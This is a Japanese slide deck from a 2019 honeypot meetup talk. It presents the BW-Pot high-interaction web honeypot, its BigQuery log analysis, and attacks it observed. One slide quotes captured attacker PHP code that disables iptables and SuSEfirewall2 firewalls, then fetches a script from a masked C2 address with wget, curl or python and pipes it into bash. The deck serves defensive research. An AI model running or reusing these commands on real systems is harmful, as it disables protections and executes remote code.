Slide 1

Slide 1 text

高対話型ハニーポット 「BW-Pot」の紹介と、 Google BigQuery & データポータルを 使用した分析の話 2019年3月9日 第6回 ハニーポッター技術交流会 @graneed111

Slide 2

Slide 2 text

自己紹介 graneed セキュリティのお仕事 CTFer - チームnoraneco - SECCON 2018 国際決勝出場 ハニーポッター 2

Slide 3

Slide 3 text

3 ハニーポットの運用目的は様々 スキャン活動の監視 マルウェア検体の入手 攻撃手法の収集

Slide 4

Slide 4 text

4 ハニーポットの分類 コロナ社「実践サイバーセキュリティモニタリング」より ハニーポット 攻撃経路 インタラクション サーバ クライアント ハニートークン 高対話 ハイブリッド 低対話 分類 低対話型と高対話型の比較 インタラクション 検知精度 情報収集 偽装性 スケーラビリ ティ 安全性 低対話型 低 低 低 高 高 高対話型 高 高 高 低 低 本LTで話すテーマ

Slide 5

Slide 5 text

低対話型ハニーポットで頻繁に観測するもの 5 IoT機器やルータを狙ったスキャン phpMyAdminを狙ったスキャンまたはパスワードクラック WordPressを狙ったスキャンまたはパスワードクラック tomcatを狙ったスキャンまたはパスワードクラック ・ ・ ・

Slide 6

Slide 6 text

低対話型ハニーポットで頻繁に観測するもの 6 IoT機器やルータを狙ったスキャン phpMyAdminを狙ったスキャンまたはパスワードクラック WordPressを狙ったスキャンまたはパスワードクラック tomcatを狙ったスキャンまたはパスワードクラック ・ ・ ・

Slide 7

Slide 7 text

スキャンのその先へ 7 攻撃者は、スキャン活動によって 狙ったプラットフォームや フレームワークの使用を確認後、 本格的な攻撃に移行 高対話型ハニーポットを用意し、 攻撃者に次のステップに 進んでもらいたい

Slide 8

Slide 8 text

高対話型ハニーポット 8 BW-Pot https://github.com/graneed/bwpot 特徴 ①頻繁に攻撃のターゲットとなっている  Webアプリケーション環境を使用 ②毎日、クリーンな環境に自動リストア ③Google BigQueryへのリアルタイムなログ連携 ④低スペックなサーバで運用可能

Slide 9

Slide 9 text

アーキテクチャ 9

Slide 10

Slide 10 text

アーキテクチャ 10 WordPress、Tomcat、phpMyAdmin等、 ハニーポッターお馴染みの被攻撃アプリを搭載 リクエストURLに基づいてnginxがルーティング

Slide 11

Slide 11 text

アーキテクチャ 11 Dockerコンテナで各アプリケーションを起動 日次でコンテナを再生成し、クリーンな環境にリストア

Slide 12

Slide 12 text

アーキテクチャ 12 nginxが出力したアクセスログと、 tsharkのキャプチャデータを、 fluentdがリアルタイムにBigQueryへ連携

Slide 13

Slide 13 text

Google BigQueryでSQLを使用した分析 13 SQLを使用したログ集計が可能

Slide 14

Slide 14 text

Google BigQueryでSQLを使用した分析 14 SELECT uri,request_body FROM `honeypot-log-analysis.log.nginx_access` WHERE time >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 24 HOUR) EXCEPT DISTINCT SELECT uri,request_body FROM `honeypot-log-analysis.log.nginx_access` WHERE time < TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 24 HOUR) ORDER BY uri,request_body 新種のリクエストを一覧表示するSQLの例 「24時間以内に着弾したリクエスト」から 「24時間より前のアクセスログに出現していないリクエスト」の、 差集合をとって表示。

Slide 15

Slide 15 text

Google BigQueryでSQLを使用した分析 15 SELECT time, REGEXP_EXTRACT(uri, r'(?:\?|&)pma_username=([^&]+)') pma_username, REGEXP_EXTRACT(uri, r'(?:\?|&)pma_password=([^&]+)') pma_password FROM `honeypot-log-analysis.log.nginx_access` WHERE REGEXP_EXTRACT(uri, r'(?:\?|&)(?:pma_username|pma_password)=([^&]+)') IS NOT NULL UNION ALL SELECT time, REGEXP_EXTRACT(request_body, r'(?:^|&)pma_username=([^&]+)') pma_username, REGEXP_EXTRACT(request_body, r'(?:^|&)pma_password=([^&]+)') pma_password FROM `honeypot-log-analysis.log.nginx_access` WHERE REGEXP_EXTRACT(request_body, r'(?:^|&)(?:pma_username|pma_password)=([^&]+)') IS NOT NULL ORDER BY time DESC phpMyAdminにログイン試行された username/passwordを一覧表示するSQLの例 正規表現を使用して、URIのクエリパラメータから、 pma_usernameとpma_passwordを抽出して取得。 POSTデータからも同様に抽出し、和集合をとって表示

Slide 16

Slide 16 text

Googleデータポータルでダッシュボード作成 16

Slide 17

Slide 17 text

Googleデータポータルでダッシュボード作成 17 デモ

Slide 18

Slide 18 text

必要スペックと費用 18 AWSのEC2のt3.nanoインスタンスで余裕の性能。 t3.nanoは月額700~800円程度。 リザーブドインスタンスなら年額4000~5000円程度。 日次と週次の再起動タイミングで スパイクするだけで2%以下を推移。

Slide 19

Slide 19 text

観察事例 19

Slide 20

Slide 20 text

観察事例1.PHP 20 低対話型 で観測 ①POST /hoge.php  fuga=die(@md5(J4nur4ry)); 4df5791c3e09e5c7faa7b3ce35d9cd4b ②POST /hoge.php  images.php設置リクエスト ③POST /images.php  a=just for fun&code=文字列出力コード(BASE64エンコード) Hello, Peppa! ④POST /images.php  a=just for fun&code=システム情報出力コード (BASE64エンコード) システム情報 ⑤POST /images.php  a=just for fun&code=攻撃コード(BASE64エンコード) C2サーバ通信& 任意シェル実行 高対話型で観測

Slide 21

Slide 21 text

観察事例1.PHP 攻撃コード抜粋 $PS='/etc/init.d/iptables stop; service iptables stop; SuSEfirewall2 stop; reSuSEfirewall2 stop;'; echo(@execute($PS)?'success':'failed'); $PS='(wget -U "Mozilla/WGET" -q -O- http://XXX.XXX.XXX.XXX/Update/test/i.php || curl -A "Mozilla/CURL" -fsSL http://XXX.XXX.XXX.XXX/Update/test/i.php || python -c "from urllib2 import urlopen,Request; print(urlopen(Request(\'http://XXX.XXX.XXX.XXX/Update/test/i.php\', None,{\'User-Agent\':\'Mozilla/Python2\'})).read());" ) | /bin/bash'; die(@execute($PS)?'success':'failed'); ①Firewallの停止 ②C2サーバからシェルスクリプト取得して実行 (wget、curlまたはpythonのいずれかを使用) ① ②

Slide 22

Slide 22 text

観察事例2.Apache Tomcat 22 低対話型 で観測 ①パスワードクラック ②POST /admin-manager/admin.jsp  act=SI ③GET /manager/html  BASIC認証のID/Password ④WARファイルアップロード&デプロイ ⑥POST /admin-manager/admin.jsp  act=SH&p2=True&p1=攻撃コマンド(BASE64エンコード) C2サーバ通信& 任意シェル実行 高対話型で観測 認証OK ⑤POST /admin-manager/admin.jsp  act=SI システム情報

Slide 23

Slide 23 text

カスタマイズ例 23

Slide 24

Slide 24 text

特定攻撃に対応したハニーポットを増築する例 24 新しい攻撃を観測すると、 その攻撃方法がどのように利用されるか気になる 公開されているPoC環境を利用して、 ハニーポットを増築すればよい!

Slide 25

Slide 25 text

特定攻撃に対応したハニーポットを増築する例 25 →「CVE-2018-1273」と判明 新規攻撃を観測 攻撃に利用された脆弱性を調査

Slide 26

Slide 26 text

特定攻撃に対応したハニーポットを増築する例 26 環境の構築方法を調査

Slide 27

Slide 27 text

特定攻撃に対応したハニーポットを増築する例 27 組み込み 新規コンテナ用 ファイル追加 リクエストURLの ルーティング追加 docker-composeに コンテナ組み込み

Slide 28

Slide 28 text

特定攻撃に対応したハニーポットを増築する例 28 稼働確認

Slide 29

Slide 29 text

特定攻撃に対応したハニーポットを増築する例 29 稼働確認 2019/3/9時点、後続の攻撃は無し・・・。忍耐あるのみ。

Slide 30

Slide 30 text

まとめ 30 github :https://github.com/graneed/bwpot Blog :https://graneed.hatenablog.com/ →本日ご紹介した事例の詳細レポート記事もあります Twitter :@graneed111 高対話型のハニーポットを設置すると、 攻撃者の生の動きを観察できます。 Google BigQuery・データポータルの組合せで、 ログデータを簡単かつ安価に可視化できます。 日々、観測した結果をハニーポットに フィードバックして機能強化し、 自分だけのハニーポットを育てていきましょう。